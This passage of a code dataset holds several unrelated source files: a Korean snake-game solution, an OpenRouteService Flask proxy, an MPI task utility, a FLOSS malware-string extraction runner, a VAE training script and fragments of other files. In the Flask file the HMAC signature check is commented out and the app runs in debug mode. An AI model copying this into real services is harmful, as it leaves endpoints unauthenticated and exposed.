≤ L ≤ 100)\n\n다음 L개의 줄에는 뱀의 방향 변환 정보가 주어지는데, 정수 X와 문자 C로 이루어져 있으며. \n게임 시작 시간으로부터 X초가 끝난 뒤에 왼쪽(C가 'L') 또는 오른쪽(C가 'D')로 90도 방향을 회전시킨다는 뜻이다.\n X는 10,000 이하의 양의 정수이며, 방향 전환 정보는 X가 증가하는 순으로 주어진다.\n\n< 문제 해결 >\n- 매 초마다 뱀의 위치를 확인하고 뱀이 벽에 부딪히는 지 확인\n\n구현하는 과정에서 뱀이 이동할 때, 뱀의 위치를 큐로 저장.\n꼬리를 빼낸다는 것은 선입 선출의 구조와 유사하고, 사과를 먹는 행위는 큐에서 append()를 하는 행위와 유사하기 때문입니다.\n또한 방향 변환 정보 역시 문제에서 시간이 증가하는 순으로 주어진다는 점에서 착안하여, 반복문으로 같은 시간이 있는지 리스트에서 확인하는 방식이 아닌 큐로 구현하여, \n큐의 맨 앞부분에 저장되어 있는 시간과 동일한 시간일 경우, 해당 값을 활용한 이후에 popleft() 시키는 방식\n'''\n\nn = int(input()) # 보드의 크기 N\nk = int(input()) # 사과의 개수 K\n\ndata = [[0] * (n+1) for _ in range(n+1)] # 맵 정보\n\nfor _ in range(k): # 사과의 위치가 주어짐\n a,b = map(int,input().split())\n data[a][b] = 1 # 사과 정보 1로 저장\n\n# 시작 방향이 동쪽이므로 동쪽을 기준으로 남쪽이 동쪽임동 - 남 - 서 - 북 순으로\ndx = [0,1,0,-1]\ndy = [1,0,-1,0]\n\nl = int(input()) # 뱀의 방향 변환 횟수\ninfo = [] # 방향 회전 정보\n\nfor _ in range(l):\n x,c = input().split()\n info.append((int(x),c))\n\ndef turn(direction,c):\n if c == \"L\":\n direction = (direction - 1) % 4\n else:\n direction = (direction + 1) % 4\n return direction\n\ndef simulate():\n x,y = 1,1 # 뱀 머리 위치\n data[x][y] = 2 # 뱀이 존재하는 위치는 2로 표시\n direction = 0 # 처음에는 동쪽\n time = 0\n index = 0 # 다음에 회전할 정보\n q = [(x,y)] # 뱀이 차지하고 있는 위치 정보(꼬리가 앞쪽)\n\n while True:\n nx = x + dx[direction]\n ny = y + dy[direction]\n\n # 맵 범위 안에 있고, 뱀의 몸통이 없는 위치라면\n if 1 <= nx <= n and 1 <= ny <= n and data[nx][ny] != 2:\n # 사과가 없다면 이동 후에 꼬리 제거\n if data[nx][ny] == 0:\n data[nx][ny] = 2\n q.append((nx,ny))\n px,py = q.pop(0)\n data[px][py] = 0\n # 사과가 있다면 이동 후에 꼬리 그대로 두기\n if data[nx][ny] == 1:\n data[nx][ny] = 2\n q.append((nx,ny))\n # 벽이나 뱀의 몸통과 부딪혔다면\n else:\n time += 1\n break\n x,y = nx, ny\n time += 1\n if index < l and time == info[index][0]: # 회전할 시간인 경우 회전\n direction = turn(direction,info[index][1])\n index += 1\n\n return time\n\nprint(simulate())\n\n","repo_name":"dlsrks0631/python-for-coding-test","sub_path":"이코테 기출문제/Q11_뱀.py","file_name":"Q11_뱀.py","file_ext":"py","file_size_in_byte":4615,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"2448221916","text":"#!/usr/bin/env python3\n\nfrom flask import Flask, request, jsonify\nimport requests\nimport json\nimport os\nimport logging\nimport hmac\nimport hashlib\n\napp = Flask(__name__)\nsecret = os.getenv('HASH_SECRET')\napi_key = os.getenv('OPEN_ROUTE_SERVICE_API_KEY')\n\n\ndef parse_coordinates(coord_str):\n return list(map(float, coord_str.split(',')))\n\n\n@app.route('/route', methods=['POST'])\ndef get_route():\n data = request.json\n start = request.json.get('start')\n end = request.json.get('end')\n signature = request.headers.get('X-Signature')\n\n app.logger.info('Received request with start: %s, end: %s', start, end)\n\n # Calculate the HMAC\n hmac_obj = hmac.new(secret.encode(), json.dumps(\n data).encode(), hashlib.sha256)\n calculated_signature = hmac_obj.hexdigest()\n\n # Compare the provided signature and the calculated signature\n # if signature != calculated_signature:\n # return jsonify({'status': 'Signatures do not match.'}), 400\n\n # Validate the request\n if not start or not end:\n app.logger.warning(\n 'Invalid request, please provide both a start and end location.')\n return jsonify({'error': 'Invalid request, please provide both a start and end location.'}), 400\n\n app.logger.info('Requesting open route service')\n # Convert addresses to coordinates using OpenRouteService's Geocoding API\n geocode_url = 'https://api.openrouteservice.org/geocode/search'\n headers = {\n 'Authorization': api_key, # Replace this with your OpenRouteService API Key\n 'Accept': 'application/json, application/geo+json, application/gpx+xml, img/png; charset=utf-8',\n }\n start_coords = requests.get(geocode_url, headers=headers, params={\n 'text': start}).json()['features'][0]['geometry']['coordinates']\n end_coords = requests.get(geocode_url, headers=headers, params={'text': end}).json()[\n 'features'][0]['geometry']['coordinates']\n\n # Build the URL for the OpenRouteService Directions API\n directions_url = 'https://api.openrouteservice.org/v2/directions/driving-car'\n headers['Content-Type'] = 'application/json; charset=utf-8'\n\n body = {\n 'coordinates': [start_coords, end_coords]\n }\n\n # Send a request to the OpenRouteService Directions API\n response = requests.post(\n directions_url, headers=headers, data=json.dumps(body))\n\n # Check the status of the request\n if response.status_code != 200:\n return jsonify({'error': 'An error occurred when trying to retrieve the route.'}), 500\n\n # Return the route summary\n return jsonify(open_route_to_common_structure(response.json()))\n\n\ndef open_route_to_common_structure(open_route_response):\n first_route = open_route_response['routes'][0]\n first_segment = first_route['segments'][0]\n return {\n \"start_address\": '', # OpenRouteService does not provide the start and end addresses\n \"end_address\": '',\n \"distance\": {\n # convert to km\n \"text\": f\"{first_route['summary']['distance']/1000} km\",\n \"value\": first_route['summary']['distance']\n },\n \"duration\": {\n # convert to minutes\n \"text\": f\"{first_route['summary']['duration']/60} mins\",\n \"value\": first_route['summary']['duration']\n },\n \"steps\": [\n {\n \"instruction\": step['instruction'],\n \"name\": step['name'],\n \"distance\": {\n \"text\": f\"{step['distance']/1000} km\", # convert to km\n \"value\": step['distance']\n },\n \"duration\": {\n # convert to minutes\n \"text\": f\"{step['duration']/60} mins\",\n \"value\": step['duration']\n },\n \"start_location\": {}, # OpenRouteService does not provide step coordinates\n \"end_location\": {},\n } for step in first_segment['steps']\n ]\n }\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"caioeverest/fed-its","sub_path":"experiment/directions-concurrent/provider_b.py","file_name":"provider_b.py","file_ext":"py","file_size_in_byte":4062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"16724729979","text":"\"\"\"\nutility for running parallel jobs with mpi4py\nmpi comms structured based on \"09-task-pull\" from:\n https://github.com/jbornschein/mpi4py-examples\n\"\"\"\n\n# from mpi4py import MPI\n\ntry:\n from mpi4py import MPI\n run_mpi = True\n\nexcept:\n run_mpi = False\n\nimport types\nimport traceback\nfrom datetime import datetime\n\nimport time\nimport json\nfrom copy import deepcopy\nfrom warnings import warn\n\ndef enum(*sequential, **named):\n \"\"\"Generate an enum type object.\"\"\"\n # source:\n # http://stackoverflow.com/questions/36932/how-can-i-represent-an-enum-in-python\n enums = dict(zip(sequential, range(len(sequential))), **named)\n return type('Enum', (), enums)\n\n\nfrom bson import ObjectId\n\n# https://stackoverflow.com/a/16586277\nclass JSONEncoder(json.JSONEncoder):\n def default(self, o):\n if isinstance(o, ObjectId):\n return str(o)\n return json.JSONEncoder.default(self, o)\n\n\n\ndef tprint(x):\n timestamp = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n print(\"{0} -- {1}\".format(timestamp, x))\n\n\n# capture function stdout for printing output during\n# parallel jobs in uninterupted blocks\n# source: http://stackoverflow.com/a/16571630\ntry:\n from StringIO import StringIO ## for Python 2\nexcept ImportError:\n from io import StringIO ## for Python 3\n\nimport sys\n\nclass Capturing(list):\n def __enter__(self):\n self._stdout = sys.stdout\n sys.stdout = self._stringio = StringIO()\n return self\n def __exit__(self, *args):\n self.extend(self._stringio.getvalue().splitlines())\n sys.stdout = self._stdout\n\n\nclass NewParallel(object):\n \"\"\"Contains basic structure for managing parallel processing tasks.\n\n Attributes:\n\n parallel (bool): x\n\n comm (str): x\n size (str): x\n rank (str): x\n status (str): x\n tags (str): x\n task_list (str): x\n\n \"\"\"\n\n def __init__(self, parallel=True, capture=False, print_worker_log=True, quiet=False):\n self.quiet = quiet\n\n if run_mpi == False:\n print(\"NewParallel warning: mpi4py could not be loaded\")\n print(\"\\tany instances of NewParallel will run in serial\")\n self.parallel = False\n else:\n self.parallel = parallel\n\n self.capture = capture\n self.print_worker_log=print_worker_log\n\n if self.parallel:\n\n self.processor_name = MPI.Get_processor_name()\n\n self.comm = MPI.COMM_WORLD\n self.size = self.comm.Get_size()\n self.rank = self.comm.Get_rank()\n\n self.status = MPI.Status()\n\n # define MPI message tags\n self.tags = enum('READY', 'DONE', 'EXIT', 'START', 'ERROR')\n\n if self.size == 1:\n self.parallel = False\n print(\"NewParallel warning: only one core found\")\n print(\"\\tany instances of NewParallel will run in serial\")\n\n else:\n self.size = 1\n self.rank = 0\n\n\n self.task_count = 0\n self.task_list = None\n\n self.use_master_update = False\n self.update_interval = None\n\n\n def set_task_list(self, input_list):\n \"\"\"Set task list.\n\n Args:\n input_list (list): x\n \"\"\"\n if isinstance(input_list, list):\n self.task_list = input_list\n self.set_task_count(len(self.task_list))\n else:\n raise Exception(\"set_task_list: requires input of type list\")\n\n\n def set_task_count(self, count):\n \"\"\"Set task count.\n\n Args:\n count (int): x\n \"\"\"\n if isinstance(count, int):\n self.task_count = count\n else:\n raise Exception(\"set_task_count: requires input of type int\")\n\n\n def set_update_interval(self, val):\n \"\"\"Set update interval for master_update function.\n\n Args:\n val (int): x\n \"\"\"\n if isinstance(val, int):\n self.update_interval = val\n else:\n raise Exception(\"set_update_interval: requires input of type int\")\n\n\n def set_general_init(self, input_function):\n \"\"\"Set general_init function.\n\n Args:\n input_function (func): x\n \"\"\"\n if hasattr(input_function, '__call__'):\n self.general_init = types.MethodType(input_function, self)\n else:\n raise Exception(\"set_general_init: requires input to be a function\")\n\n\n def set_master_init(self, input_function):\n \"\"\"Set master_init function.\n\n Args:\n input_function (func): x\n \"\"\"\n if hasattr(input_function, '__call__'):\n self.master_init = types.MethodType(input_function, self)\n else:\n raise Exception(\"set_master_init: requires input to be a function\")\n\n\n def set_master_update(self, input_function):\n \"\"\"Set master_update function.\n\n Args:\n input_function (func): x\n \"\"\"\n if hasattr(input_function, '__call__'):\n self.master_update = types.MethodType(input_function, self)\n self.use_master_update = True\n else:\n raise Exception(\"set_master_update: requires input to be a function\")\n\n\n def set_master_process(self, input_function):\n \"\"\"Set master_process function.\n\n Args:\n input_function (func): x\n \"\"\"\n if hasattr(input_function, '__call__'):\n self.master_process = types.MethodType(input_function, self)\n else:\n raise Exception(\"set_master_process: requires input to be a function\")\n\n\n def set_master_final(self, input_function):\n \"\"\"Set master_final function.\n\n Args:\n input_function (func): x\n \"\"\"\n if hasattr(input_function, '__call__'):\n self.master_final = types.MethodType(input_function, self)\n else:\n raise Exception(\"set_master_final: requires input to be a function\")\n\n\n def set_worker_job(self, input_function):\n \"\"\"Set worker_job function.\n\n Args:\n input_function (func): x\n \"\"\"\n if hasattr(input_function, '__call__'):\n self.worker_job = types.MethodType(input_function, self)\n else:\n raise Exception(\"set_worker_job: requires input to be a function\")\n\n\n def set_get_task_data(self, input_function):\n \"\"\"Set get_task_data function.\n\n Args:\n input_function (func): x\n \"\"\"\n if hasattr(input_function, '__call__'):\n self.get_task_data = types.MethodType(input_function, self)\n else:\n raise Exception(\"set_get_task_data: requires input to be a function\")\n\n\n def general_init(self):\n \"\"\"Template only.\n\n Should be replaced by user created function using set_general_init method.\n\n Run by all processes (master and workers) at start\n of processing before any tasks are sent to workers.\n No args orreturn value.\n \"\"\"\n pass\n\n\n def master_init(self):\n \"\"\"Template only.\n\n Should be replaced by user created function using\n set_master_init method.\n\n Run by master only at start of processing before any tasks are\n sent to workers.\n No args or return value.\n \"\"\"\n self.master_data = []\n\n\n def master_update(self):\n \"\"\"Template only.\n\n Should be replaced by user created function using\n set_master_update method.\n\n Run by master during intervals determined by `update_interval`.\n Only runs when using parallel processing method.\n No args or return value.\n \"\"\"\n pass\n\n\n def master_process(self, worker_result):\n \"\"\"Template only.\n\n Should be replaced by user created function using\n set_master_process method\n\n Run by master only during processing for each task received\n from a worker.\n No return value.\n\n Args:\n value (str): x\n \"\"\"\n self.master_data.append(worker_result)\n\n\n def master_final(self):\n \"\"\"Template only.\n\n Should be replaced by user created function using\n set_master_final method\n\n Run by master only at end of processing after all tasks have\n been completed by workers.\n No args or return value.\n \"\"\"\n master_data_stack = self.master_data\n\n\n def worker_job(self, task_index, task_data):\n \"\"\"Template only.\n\n Should be replaced by user created function using\n set_worker_job method\n\n Run by work after receiving a task from master.\n\n Args:\n task_data (int): x\n\n Returns:\n results: object to be passed back from worker to master\n \"\"\"\n worker_tagline = \"Worker {0} | Task {1} - \".format(self.rank, task_index)\n tprint(worker_tagline)\n\n results = task_data\n\n return results\n\n\n def get_task_data(self, task_index, source):\n \"\"\"Template only.\n\n Should be replaced by user created function using\n set_get_task_data method\n\n Run by master when upon receiving a \"ready\" request from worker.\n Results returned will be passed to worker_job function after\n being sent to worker\n\n Args:\n task_index (int): x\n\n Returns:\n task_data: data to be sent from master to worker\n \"\"\"\n task_data = self.task_list[task_index]\n return task_data\n\n\n def _worker_job(self, task_index, task_data):\n\n if not self.capture:\n return self.worker_job(task_index, task_data)\n\n else:\n try:\n with Capturing() as output:\n results = self.worker_job(task_index, task_data)\n\n tprint('\\n'.join(output))\n return results\n\n except:\n tprint('\\n'.join(output))\n raise\n\n\n def run(self, allow_empty=False):\n \"\"\"Run job in parallel or serial.\n \"\"\"\n if self.rank == 0 and self.task_count == 0:\n msg = (\"Task count = 0 on master node. \"\n \"Either set a non-zero task count, \"\n \"or make sure your task list \"\n \"is being properly populated)\")\n\n if allow_empty:\n warn(msg)\n else:\n raise Exception(msg)\n\n if self.parallel:\n self.run_parallel()\n else:\n self.run_serial()\n\n\n def run_serial(self):\n \"\"\"Run job using set functions in serial.\"\"\"\n if self.rank == 0:\n self.general_init()\n self.master_init()\n\n for i in range(self.task_count):\n task_data = self.get_task_data(i, 0)\n\n worker_data = self.worker_job(i, task_data)\n self.master_process(worker_data)\n\n self.master_final()\n\n\n def send_error(self):\n \"\"\"Send error to workers/master (depending on source\"\"\"\n if self.rank == 0:\n for i in range(1, self.size):\n self.comm.send(None, dest=i, tag=self.tags.ERROR)\n else:\n self.comm.send(None, dest=0, tag=self.tags.ERROR)\n\n\n def run_parallel(self):\n \"\"\"Run job using set functions in parallel.\"\"\"\n self.general_init()\n\n self.comm.Barrier()\n\n if self.rank == 0:\n\n self.master_init()\n\n task_index = 0\n num_workers = self.size - 1\n closed_workers = 0\n err_status = 0\n\n worker_info_template = {\n 'status': 'up',\n 'current_task_index': None,\n 'current_task_data': None,\n 'task_index_history': []\n }\n self.worker_log = dict(zip(\n range(1, self.size),\n [deepcopy(worker_info_template) for i in range(1, self.size)]\n ))\n\n tprint(\"Master - starting with {0} workers\".format(num_workers))\n\n last_update = time.time()\n\n # distribute work\n while closed_workers < num_workers:\n active_workers = num_workers - closed_workers\n\n if self.use_master_update:\n req = self.comm.irecv(source=MPI.ANY_SOURCE, tag=MPI.ANY_TAG)\n else:\n worker_data = self.comm.recv(source=MPI.ANY_SOURCE, tag=MPI.ANY_TAG, status=self.status)\n\n while True:\n\n if self.use_master_update:\n\n if self.update_interval and time.time() - last_update > self.update_interval:\n self.master_update()\n last_update = time.time()\n\n re = req.test(status=self.status)\n\n\n if not self.use_master_update or re[0] != False:\n\n if self.use_master_update:\n worker_data = re[1]\n\n source = self.status.Get_source()\n tag = self.status.Get_tag()\n\n if tag == self.tags.READY:\n\n if task_index < self.task_count:\n\n task_data = self.get_task_data(task_index, source)\n\n if (isinstance(task_data, tuple)\n and len(task_data) == 3\n and task_data[0] == \"error\"):\n\n tprint((\"Master - shutting down worker {1} \"\n \"with task {0} ({2})\").format(\n task_index, source, task_data[2]))\n\n self.comm.send(None, dest=source, tag=self.tags.EXIT)\n\n else:\n if not self.quiet:\n tprint(\"Master - sending task {0} to worker {1}\".format(\n task_index, source))\n\n task = (task_index, task_data)\n\n tmp_ctd = deepcopy(task_data)\n try:\n if '_id' in tmp_ctd:\n tmp_ctd['_id'] = str(tmp_ctd['_id'])\n except:\n pass\n\n self.worker_log[source]['current_task_index'] = task_index\n self.worker_log[source]['current_task_data'] = tmp_ctd\n\n\n self.comm.send(task, dest=source, tag=self.tags.START)\n\n task_index += 1\n\n else:\n self.comm.send(None, dest=source, tag=self.tags.EXIT)\n\n elif tag == self.tags.DONE:\n worker_task_index = self.worker_log[source]['current_task_index']\n self.worker_log[source]['current_task_index'] = None\n self.worker_log[source]['current_task_data'] = None\n self.worker_log[source]['task_index_history'].append(worker_task_index)\n if not self.quiet:\n tprint(\"Master - received Task {0} data from Worker {1}\".format(worker_task_index, source))\n self.master_process(worker_data)\n\n elif tag == self.tags.EXIT:\n tprint(\"Master - worker {0} exited. ({1})\".format(\n source, active_workers - 1))\n closed_workers += 1\n\n elif tag == self.tags.ERROR:\n tprint(\"Master - error reported by worker {0}.\".format(source))\n # broadcast error to all workers\n # self.send_error()\n err_status = 1\n\n # finish handling nonblocking receive and return to\n # main worker communication loop to wait for next work message\n break\n\n\n if err_status == 0:\n tprint(\"Master - processing results\")\n self.master_final()\n\n else:\n tprint(\"Master - terminating due to worker error.\")\n\n if self.print_worker_log:\n tprint(\"Worker Log:\")\n tprint(json.dumps(\n self.worker_log,\n indent=4, separators=(\",\", \":\")))\n\n else:\n # Worker processes execute code below\n tprint(\"Worker {0} - rank {0} on {1}.\".format(self.rank, self.processor_name))\n while True:\n self.comm.send(None, dest=0, tag=self.tags.READY)\n master_data = self.comm.recv(source=0,\n tag=MPI.ANY_TAG,\n status=self.status)\n\n tag = self.status.Get_tag()\n\n if tag == self.tags.START:\n\n task_index, task_data = master_data\n\n try:\n worker_result = self._worker_job(task_index, task_data)\n\n except Exception as e:\n tprint(\"Worker ({0}) - encountered error on Task {1}\".format(self.rank, task_index))\n # print e.encode('utf-8')\n traceback.print_exc()\n self.send_error()\n\n else:\n # send worker_result back to master (master_process function)\n self.comm.send(worker_result, dest=0, tag=self.tags.DONE)\n\n\n elif tag == self.tags.EXIT:\n self.comm.send(None, dest=0, tag=self.tags.EXIT)\n break\n\n elif tag == self.tags.ERROR:\n tprint((\"Worker ({0}) - error message from Master. \"\n \"Shutting down.\").format(self.rank))\n # confirm error message received and exit\n self.comm.send(None, dest=0, tag=self.tags.EXIT)\n break\n","repo_name":"aiddata/geo-hpc","sub_path":"utils/mpi_utility.py","file_name":"mpi_utility.py","file_ext":"py","file_size_in_byte":18345,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"71"} +{"seq_id":"36037224519","text":"#!/bin/python\n# this script is used to run floss on a directory of files\n# it will create a directory called floss_output in the same directory as the script\n# and will json output for each file in the directory, keeping the same directory structure\n\nimport os\nimport sys\nimport subprocess\nfrom argparse import ArgumentParser\nimport json\nimport random\n\n\ndef parse_args():\n args = ArgumentParser()\n args.add_argument('-d', '--directory',\n help='directory of files to run floss on')\n args.add_argument(\n '-o', '--output', help='output directory for floss json files')\n args.add_argument('--malicious', help='mark files as malicious',\n default=False, action='store_true')\n args.add_argument('--random', help='randomize file order, helpful when dir is large, and you want to parse some of the files, uniformly',\n default=False, action='store_true')\n args.add_argument('--static', help='run floss in only-static mode, much faster, recommended only for benign files',\n default=False, action='store_true')\n args = args.parse_args()\n\n if not os.path.exists(args.directory):\n print(\"Directory does not exist\")\n sys.exit(1)\n\n if not os.path.exists(args.output):\n os.mkdir(args.output)\n\n return args\n\n\n\ndef main():\n args = parse_args()\n\n # run floss on each file\n for root, dirs, files in os.walk(args.directory):\n\n if args.random: # shufle files randomly\n files = sorted(files, key=lambda x: random.random())\n\n for file in files:\n file_path = os.path.join(root, file)\n output_name = root.replace('/', '_') + '_' + file + '.json'\n output_path = os.path.join(args.output, output_name)\n if not os.path.exists(output_path):\n floss_args = ['floss', '-j', file_path, '-o', output_path]\n if args.static:\n floss_args += ['--only', 'static']\n subprocess.run(floss_args)\n\n # format json files\n try:\n with open(output_path, 'r') as f:\n json_data = json.load(f)\n json_data['is_malicious'] = args.malicious\n with open(output_path, 'w') as f:\n json.dump(json_data, f, indent=4)\n except Exception:\n print(\"Error with file: \", file_path)\n\nif __name__ == '__main__':\n main()\n","repo_name":"nirbar8/smart_strings","sub_path":"data/floss_runner.py","file_name":"floss_runner.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"26002857306","text":"import api \nimport requests\nimport json \nimport argparse\nimport time\n\ndef main():\n # Read in \"config.json\" This could be replaced with a variable \n sites = api.read_json_site_list('config.json')\n for i in range(len(sites)):\n # If rannge len == 0 then the site should be just the site\n if i == 0:\n start_time = time.time()\n api.create_new_multi_site(sites['site'])\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n else: # If site =>1 then site{}.format means that \"i\" will be concatonated on the end. \n start_time = time.time()\n api.create_new_multi_site(sites['site{}'.format(i)])\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n \n\nif __name__ == \"__main__\":\n main()","repo_name":"madrow1/mist_scripts","sub_path":"create_sites.py","file_name":"create_sites.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"4910473248","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport tensorflow as tf\nimport random\nimport os\nimport datetime\nfrom scipy.misc import imsave\n\nfrom model import VAE\nfrom data_manager import DataManager\n\ntf.app.flags.DEFINE_integer(\"epoch_size\", 2000, \"epoch size\")\ntf.app.flags.DEFINE_integer(\"batch_size\", 64, \"batch size\")\ntf.app.flags.DEFINE_float(\"gamma\", 1000.0, \"gamma param for latent loss\")\ntf.app.flags.DEFINE_float(\"capacity_limit\", 1000.0,\n \"encoding capacity limit param for latent loss\")\ntf.app.flags.DEFINE_integer(\"capacity_change_duration\", 100000,\n \"encoding capacity change duration\")\ntf.app.flags.DEFINE_float(\"learning_rate\", 5e-4, \"learning rate\")\ntf.app.flags.DEFINE_string(\"checkpoint_dir\", \"checkpoints\", \"checkpoint directory\")\ntf.app.flags.DEFINE_string(\"log_file\", \"./log\", \"log file directory\")\ntf.app.flags.DEFINE_boolean(\"training\", True, \"training or not\")\n\ntf.app.flags.DEFINE_integer(\"input_width\", 128, \"input image pixel width\")\ntf.app.flags.DEFINE_integer(\"input_height\", 128, \"input image pixel height\")\ntf.app.flags.DEFINE_integer(\"input_channels\", 3, \"input image color channels (RGB default)\")\ntf.app.flags.DEFINE_integer(\"latent_dim\", 256, \"Dimension of latent space\")\n\ntf.app.flags.DEFINE_string(\"dataset\", \"Megaman\", \"log file directory\")\n\nflags = tf.app.flags.FLAGS\n\nrun_name = \"gamma={0}, capacity_lim={1}, latent_dim={2}, input_dim={3}x{4}x{5}, dataset={6}, \" \\\n \"date={7}\".format(flags.gamma,\n flags.capacity_limit,\n flags.latent_dim,\n flags.input_width,\n flags.input_height,\n flags.input_channels,\n flags.dataset,\n datetime.datetime.now(),\n )\nrun_logpath = os.path.join(flags.log_file, run_name)\nrun_checkpoint_path = os.path.join(flags.checkpoint_dir, run_name)\nif not os.path.exists(run_logpath):\n os.mkdir(run_logpath)\n\ndef train(sess,\n model,\n manager,\n saver):\n\n\n summary_writer = tf.summary.FileWriter(run_logpath, sess.graph)\n\n n_samples = manager.sample_size\n np.random.seed(1231)\n reconstruct_check_images = manager.get_random_images(10)\n\n indices = list(range(n_samples))\n\n step = 0\n\n # Training cycle\n for epoch in range(flags.epoch_size):\n print('\\n===== EPOCH %d =====' % epoch)\n # Shuffle image indices\n random.shuffle(indices)\n\n avg_cost = 0.0\n total_batch = n_samples // flags.batch_size\n print('>> Total Batch Size: %d' % total_batch)\n\n # Loop over all batches\n print('>> Training ', end='')\n\n for i in range(total_batch):\n # Generate image batch\n print(\".\", end='')\n batch_indices = indices[flags.batch_size * i: flags.batch_size * (i + 1)]\n batch_xs = manager.get_images(batch_indices)\n\n # Fit training using batch data\n reconstr_loss, latent_loss, summary_str = model.partial_fit(sess, batch_xs, step)\n summary_writer.add_summary(summary_str, step)\n step += 1\n\n # Image reconstruction check\n print('')\n print('>> Reconstruction check ... ', end='')\n img_summary = reconstruct_check(sess, model, reconstruct_check_images)\n print('Done')\n\n # # Disentangle check\n # print('>> Disentanglement check...', end='')\n # disentangle_check(sess, model, manager)\n # print('Done')\n\n summary_writer.add_summary(img_summary, step)\n\n # Save checkpoint\n saver.save(sess, run_checkpoint_path + '/' + 'checkpoint', global_step=step)\n\n\ndef reconstruct_check(sess, model, images):\n # Check image reconstruction\n\n x_reconstruct, img_summary = model.reconstruct(sess, images)\n\n if not os.path.exists(\"reconstr_img\"):\n os.mkdir(\"reconstr_img\")\n\n for i in range(len(images)):\n print('>>>> Reconstructing image %d ' % i)\n org_img = images[i].reshape([flags.input_width, flags.input_height, flags.input_channels])\n org_img = org_img.astype(np.float32)\n reconstr_img = x_reconstruct[i].reshape([flags.input_width, flags.input_height, flags.input_channels])\n imsave(\"reconstr_img/org_{0}.png\".format(i), org_img)\n imsave(\"reconstr_img/reconstr_{0}.png\".format(i), reconstr_img)\n\n return img_summary\n\n\ndef disentangle_check(sess, model, manager, save_original=False):\n '''\n This code appears to be running disentanglement check (specified in the paper) with a preselected image.\n So in my case, I am running with the preselected image 1337\n :param sess:\n :param model:\n :param manager:\n :param save_original:\n :return:\n '''\n img = manager.get_image(1337)\n if save_original:\n imsave(\"original.png\",\n img.reshape([flags.input_width, flags.input_height, flags.input_channels]).astype(np.float32))\n\n batch_xs = [img]\n z_mean, z_log_sigma_sq = model.transform(sess, batch_xs)\n z_sigma_sq = np.exp(z_log_sigma_sq)[0]\n\n # Print variance\n zss_str = \"\"\n for i, zss in enumerate(z_sigma_sq):\n str = \"z{0}={1:.4f}\".format(i, zss)\n zss_str += str + \", \"\n # print(zss_str)\n\n # Save disentangled images\n z_m = z_mean[0]\n n_z = 256 # Latent space dim\n\n if not os.path.exists(\"disentangle_img\"):\n os.mkdir(\"disentangle_img\")\n\n for target_z_index in range(n_z):\n for ri in range(n_z):\n value = -3.0 + (6.0 / 9.0) * ri\n z_mean2 = np.zeros((1, n_z))\n for i in range(n_z):\n if (i == target_z_index):\n z_mean2[0][i] = value\n else:\n z_mean2[0][i] = z_m[i]\n reconstr_img = model.generate(sess, z_mean2)\n rimg = reconstr_img[0].reshape([flags.input_width, flags.input_height, flags.input_channels])\n imsave(\"disentangle_img/check_z{0}_{1}.png\".format(target_z_index, ri), rimg)\n\n\ndef load_checkpoints(sess):\n saver = tf.train.Saver()\n checkpoint = tf.train.get_checkpoint_state(run_checkpoint_path)\n if checkpoint and checkpoint.model_checkpoint_path:\n saver.restore(sess, checkpoint.model_checkpoint_path)\n print(\"loaded checkpoint: {0}\".format(checkpoint.model_checkpoint_path))\n else:\n print(\"Could not find old checkpoint\")\n if not os.path.exists(run_checkpoint_path):\n os.mkdir(run_checkpoint_path)\n return saver\n\n\ndef main(argv):\n manager = DataManager()\n manager.load()\n\n sess = tf.Session()\n\n model = VAE(\n input_width=flags.input_width,\n input_height=flags.input_height,\n input_channels=flags.input_channels,\n gamma=flags.gamma,\n capacity_limit=flags.capacity_limit,\n capacity_change_duration=flags.capacity_change_duration,\n learning_rate=flags.learning_rate,\n )\n\n sess.run(tf.global_variables_initializer())\n\n saver = load_checkpoints(sess)\n\n if flags.training:\n # Train\n train(sess, model, manager, saver)\n else:\n reconstruct_check_images = manager.get_random_images(10)\n # Image reconstruction check\n reconstruct_check(sess, model, reconstruct_check_images)\n # Disentangle check\n disentangle_check(sess, model, manager)\n\n\nif __name__ == '__main__':\n tf.app.run()\n","repo_name":"yonkshi/master_thesis","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"30210186685","text":"### 파일 읽기\n\n## 한 줄 씩 읽기\n\ntxt = \"\"\n\n# 파일 읽기 모드로 오픈\ntxt_read = open(\"Ch09/ch09/weather.txt\", \"rt\", encoding=\"utf-8\")\nwhile True:\n temp = txt_read.readline()\n # 파일에서 읽을 내용 없으면 반복문 탈출\n if not temp:\n break\n # 한줄씩 읽어 txt에 저장\n txt += temp\n\n# 파일 작업 완료 -> 자원 해제\ntxt_read.close()\nprint(txt)","repo_name":"Jason-Yonghan-Park/Python_Study","sub_path":"Ch09/ch09_fileread02.py","file_name":"ch09_fileread02.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"12283991898","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 15 10:19:19 2020\n\n@author: LtdDan82\n@github: https://github.com/LtdDan82\n\"\"\"\n# Imports and global settings\nimport os\nfrom PIL import Image\n\ncwd = os.getcwd()\npage_icon = os.path.join(cwd, \"img\", \"unmasked_logo.PNG\")\nimport pandas as pd\nimport streamlit as st\n\nst.set_page_config(\n page_title=\"Session Dashboard\",\n layout=\"wide\",\n page_icon=Image.open(page_icon),\n initial_sidebar_state=\"expanded\",\n)\n# Get Final Data\nfrom lib.data_transform import extract_transform\n\n# Game Stats\nfrom lib.data_analysis import GameStats\n\n# Player Specific Stats\nfrom lib.player_spec_analysis import PlayerStats\n\nfrom 